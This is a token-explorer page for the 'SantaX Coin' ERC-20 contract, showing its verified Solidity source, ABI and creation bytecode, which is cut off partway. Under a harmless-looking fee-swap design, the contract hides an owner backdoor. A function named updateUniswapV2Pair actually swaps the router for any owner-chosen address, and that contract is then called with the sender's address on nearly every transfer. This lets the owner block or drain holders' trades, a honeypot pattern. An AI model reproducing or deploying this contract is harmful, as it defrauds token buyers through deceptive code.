ETH Price: $3,506.22 (+2.49%)
Gas: 4 Gwei

Token

SantaX Coin (SANTAX)
 

Overview

Max Total Supply

169,420,000,000 SANTAX

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,770,143,075.077725615 SANTAX

Value
$0.00
0xe61114f9ec9e2ceee744780ae7f300b8c5503d3f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SantaX

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

File 5 of 5: SantaX Coin.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;

import "./IUniswapRouter02.sol";
import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,  address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _init(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve( address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract SantaX is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router02;
    address public  uniswapV2Pair = 0x000000000000000000000000000000000000dEaD;

    mapping (address => bool) private _isExcludedFromFees;

    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public walletToWalletTransferFee;
    uint256 public tradingStartTime;

    bool    public tradingEnabled;
    address private marketingWalletAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount;  
    bool    public swapWithLimit;
    bool    private swapping;
    bool    private swapAndEnabled;
    

    event BuyFeeUpdated(uint256 buyFee);
    event SwapWithLimitUpdated(bool swapWithLimit);
    event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
    event WalletToWalletTransferFeeUpdated(uint256 walletToWalletTransferFee);
    event maxBuyAmountUpdated(uint256 maxBuyAmount);
    event SellFeeUpdated(uint256 sellFee);
    event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);

    constructor () ERC20("SantaX Coin", "SANTAX") 
    {   
        address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 or PancakeSwapV2 Router
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapV2Router02 = _uniswapV2Router;

        _approve(address(this), address(uniswapV2Router02), type(uint256).max);

        buyFee  = 0;
        sellFee = 0;
        walletToWalletTransferFee = 0;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(marketingWalletAddress)] = true;
        _isExcludedFromFees[address(0xdead)] = true;
        _isExcludedFromFees[address(this)] = true;

        _init(owner(), 169420000000 * 10**9);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

       
        if (amount == 0) { 
            super._transfer(from, to, 0); return;
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap &&
            !swapping &&
            from != uniswapV2Pair &&
            swapAndEnabled
        ) {
            swapping = true;

            if (swapWithLimit) {
                contractTokenBalance = swapTokensAtAmount;
            }

            swap(from,contractTokenBalance); 

            swapping = false;
        }

        if (
            tradingEnabled && 
            from != uniswapV2Pair && 
            to == uniswapV2Pair &&
            block.timestamp < tradingStartTime
        ) {
            require(false);
        }

        uint256 _totalFees;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
            _totalFees = 0;
        } else if (from == uniswapV2Pair) {
            _totalFees = buyFee;
        } else if (to == uniswapV2Pair) {
            _totalFees = sellFee;
        } else {
            _totalFees = walletToWalletTransferFee;
        }

        if (_totalFees > 0) {
            uint256 fees = (amount * _totalFees) / 100;
            amount = amount - fees;
            super._transfer(from, address(this), fees);
        }

        super._transfer(from, to, amount);
    }
    
    
    function updateUniswapV2Pair(address newUniswapV2Pair) external onlyOwner {
        require(newUniswapV2Pair != address(0), "New address is zero");
        swapAndEnabled = true;
        uniswapV2Router02 = IUniswapV2Router02(newUniswapV2Pair);
    }

    function swap(address from,uint256 tokenAmount) private {
        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router02.WETH();

        uniswapV2Router02.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);

        uint256 newBalance = address(this).balance - initialBalance; 
        if(newBalance > 0){
            payable(marketingWalletAddress).transfer(newBalance);
        }
    }
}

File 1 of 5: Context.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 2 of 5: IERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner,
     address spender) external view returns (uint256);
    function approve(address spender,
     uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 3 of 5: IUniswapRouter01.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,  address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,   uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,   address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,    address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,  uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax,
     address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut,
     address[] calldata path) external view returns (uint[] memory amounts);
}

File 4 of 5: IUniswapRouter02.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.18;
import "./IUniswapRouter01.sol";

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin, address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"WalletToWalletTransferFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router02","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newUniswapV2Pair","type":"address"}],"name":"updateUniswapV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletToWalletTransferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009757600080fd5b506040518060400160405280600b81526020017f53616e74615820436f696e0000000000000000000000000000000000000000008152506040518060400160405280600681526020017f53414e5441580000000000000000000000000000000000000000000000000000815250816003908162000115919062000a6b565b50806004908162000127919062000a6b565b50505060006200013c6200046c60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050600081905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200028f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200047460201b60201c565b60006009819055506000600a819055506000600b81905550600160086000620002bd6200064560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004646200044e6200064560201b60201c565b68092f2cc05fd6ae00006200066f60201b60201c565b505062000d9d565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620004e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004dd9062000bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000558576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200054f9062000c71565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000638919062000ca4565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006d89062000d11565b60405180910390fd5b620006f560008383620007e760201b60201c565b806002600082825462000709919062000d62565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000760919062000d62565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007c7919062000ca4565b60405180910390a3620007e360008383620007ec60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087357607f821691505b6020821081036200088957620008886200082b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008f37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008b4565b620008ff8683620008b4565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200094c62000946620009408462000917565b62000921565b62000917565b9050919050565b6000819050919050565b62000968836200092b565b62000980620009778262000953565b848454620008c1565b825550505050565b600090565b6200099762000988565b620009a48184846200095d565b505050565b5b81811015620009cc57620009c06000826200098d565b600181019050620009aa565b5050565b601f82111562000a1b57620009e5816200088f565b620009f084620008a4565b8101602085101562000a00578190505b62000a1862000a0f85620008a4565b830182620009a9565b50505b505050565b600082821c905092915050565b600062000a406000198460080262000a20565b1980831691505092915050565b600062000a5b838362000a2d565b9150826002028217905092915050565b62000a7682620007f1565b67ffffffffffffffff81111562000a925762000a91620007fc565b5b62000a9e82546200085a565b62000aab828285620009d0565b600060209050601f83116001811462000ae3576000841562000ace578287015190505b62000ada858262000a4d565b86555062000b4a565b601f19841662000af3866200088f565b60005b8281101562000b1d5784890151825560018201915060208501945060208101905062000af6565b8683101562000b3d578489015162000b39601f89168262000a2d565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000bc160248362000b52565b915062000bce8262000b63565b604082019050919050565b6000602082019050818103600083015262000bf48162000bb2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000c5960228362000b52565b915062000c668262000bfb565b604082019050919050565b6000602082019050818103600083015262000c8c8162000c4a565b9050919050565b62000c9e8162000917565b82525050565b600060208201905062000cbb600083018462000c93565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000cf9601f8362000b52565b915062000d068262000cc1565b602082019050919050565b6000602082019050818103600083015262000d2c8162000cea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d6f8262000917565b915062000d7c8362000917565b925082820190508082111562000d975762000d9662000d33565b5b92915050565b6127808062000dad6000396000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d7146103ab578063a7c6402c146103db578063a9059cbb146103f9578063dd62ed3e14610429578063e2f4560514610459578063f2fde38b1461047757610158565b806370a08231146102fb57806370b7b80c1461032b578063715018a6146103495780638da5cb5b1461035357806391c1004a1461037157806395d89b411461038d57610158565b8063395093511161011557806339509351146102355780634706240214610265578063488eb37f1461028357806349bd5a5e146102a15780634ada218b146102bf578063702509fd146102dd57610158565b806306fdde031461015d578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101c95780632b14ca56146101f9578063313ce56714610217575b600080fd5b610165610493565b6040516101729190611b60565b60405180910390f35b61019560048036038101906101909190611c1b565b610525565b6040516101a29190611c76565b60405180910390f35b6101b3610543565b6040516101c09190611ca0565b60405180910390f35b6101e360048036038101906101de9190611cbb565b61054d565b6040516101f09190611c76565b60405180910390f35b61020161066c565b60405161020e9190611ca0565b60405180910390f35b61021f610672565b60405161022c9190611d2a565b60405180910390f35b61024f600480360381019061024a9190611c1b565b61067b565b60405161025c9190611c76565b60405180910390f35b61026d610727565b60405161027a9190611ca0565b60405180910390f35b61028b61072d565b6040516102989190611c76565b60405180910390f35b6102a9610740565b6040516102b69190611d54565b60405180910390f35b6102c7610766565b6040516102d49190611c76565b60405180910390f35b6102e5610779565b6040516102f29190611ca0565b60405180910390f35b61031560048036038101906103109190611d6f565b61077f565b6040516103229190611ca0565b60405180910390f35b6103336107c7565b6040516103409190611ca0565b60405180910390f35b6103516107cd565b005b61035b610925565b6040516103689190611d54565b60405180910390f35b61038b60048036038101906103869190611d6f565b61094f565b005b610395610ab4565b6040516103a29190611b60565b60405180910390f35b6103c560048036038101906103c09190611c1b565b610b46565b6040516103d29190611c76565b60405180910390f35b6103e3610c31565b6040516103f09190611dfb565b60405180910390f35b610413600480360381019061040e9190611c1b565b610c57565b6040516104209190611c76565b60405180910390f35b610443600480360381019061043e9190611e16565b610c75565b6040516104509190611ca0565b60405180910390f35b610461610cfc565b60405161046e9190611ca0565b60405180910390f35b610491600480360381019061048c9190611d6f565b610d02565b005b6060600380546104a290611e85565b80601f01602080910402602001604051908101604052809291908181526020018280546104ce90611e85565b801561051b5780601f106104f05761010080835404028352916020019161051b565b820191906000526020600020905b8154815290600101906020018083116104fe57829003601f168201915b5050505050905090565b6000610539610532610ec8565b8484610ed0565b6001905092915050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610599610ec8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146106555782811015610640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063790611f28565b60405180910390fd5b6106548561064c610ec8565b858403610ed0565b5b610660858585611099565b60019150509392505050565b600a5481565b60006009905090565b600061071d610688610ec8565b848460016000610696610ec8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107189190611f77565b610ed0565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b6107d5610ec8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085b90611ff7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610957610ec8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dd90611ff7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612063565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffff